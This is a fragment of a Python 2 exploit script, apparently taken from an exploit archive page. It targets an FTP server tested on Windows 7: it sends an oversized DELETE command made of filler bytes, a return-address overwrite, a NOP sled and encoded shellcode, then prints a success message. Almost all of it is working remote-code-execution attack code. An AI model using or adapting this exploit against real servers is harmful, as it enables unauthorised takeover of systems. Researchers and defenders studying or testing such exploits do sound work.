|
||||
# Tested on: Windows 7 Enterprise x64 HUN/ENG
|
||||
'''
|
||||
ftp_ip = raw_input("FTP server IP:")
|
||||
overflow = 'A' * 2005
|
||||
eip = '\xCA\x96\xC9\x76' + '\x90' * 10
|
||||
shellcode=(
|
||||
"\xda\xca\xbb\xfd\x11\xa3\xae\xd9\x74\x24\xf4\x5a\x31\xc9" +
|
||||
"\xb1\x33\x31\x5a\x17\x83\xc2\x04\x03\xa7\x02\x41\x5b\xab" +
|
||||
"\xcd\x0c\xa4\x53\x0e\x6f\x2c\xb6\x3f\xbd\x4a\xb3\x12\x71" +
|
||||
"\x18\x91\x9e\xfa\x4c\x01\x14\x8e\x58\x26\x9d\x25\xbf\x09" +
|
||||
"\x1e\x88\x7f\xc5\xdc\x8a\x03\x17\x31\x6d\x3d\xd8\x44\x6c" +
|
||||
"\x7a\x04\xa6\x3c\xd3\x43\x15\xd1\x50\x11\xa6\xd0\xb6\x1e" +
|
||||
"\x96\xaa\xb3\xe0\x63\x01\xbd\x30\xdb\x1e\xf5\xa8\x57\x78" +
|
||||
"\x26\xc9\xb4\x9a\x1a\x80\xb1\x69\xe8\x13\x10\xa0\x11\x22" +
|
||||
"\x5c\x6f\x2c\x8b\x51\x71\x68\x2b\x8a\x04\x82\x48\x37\x1f" +
|
||||
"\x51\x33\xe3\xaa\x44\x93\x60\x0c\xad\x22\xa4\xcb\x26\x28" +
|
||||
"\x01\x9f\x61\x2c\x94\x4c\x1a\x48\x1d\x73\xcd\xd9\x65\x50" +
|
||||
"\xc9\x82\x3e\xf9\x48\x6e\x90\x06\x8a\xd6\x4d\xa3\xc0\xf4" +
|
||||
"\x9a\xd5\x8a\x92\x5d\x57\xb1\xdb\x5e\x67\xba\x4b\x37\x56" +
|
||||
"\x31\x04\x40\x67\x90\x61\xbe\x2d\xb9\xc3\x57\xe8\x2b\x56" +
|
||||
"\x3a\x0b\x86\x94\x43\x88\x23\x64\xb0\x90\x41\x61\xfc\x16" +
|
||||
"\xb9\x1b\x6d\xf3\xbd\x88\x8e\xd6\xdd\x4f\x1d\xba\x0f\xea" +
|
||||
"\xa5\x59\x50")
|
||||
remotecode = overflow + eip + shellcode
|
||||
ftp = FTP(ftp_ip)
|
||||
ftp.login('anonymous', 'hacker@hacker.net')
|
||||
print ftp.login
|
||||
print '''
|
||||
Successfull Exploitation!
|
||||
'''
|
||||
FTP.delete(ftp, remotecode)
|
||||
|
||||
Loading…
Add table
Reference in a new issue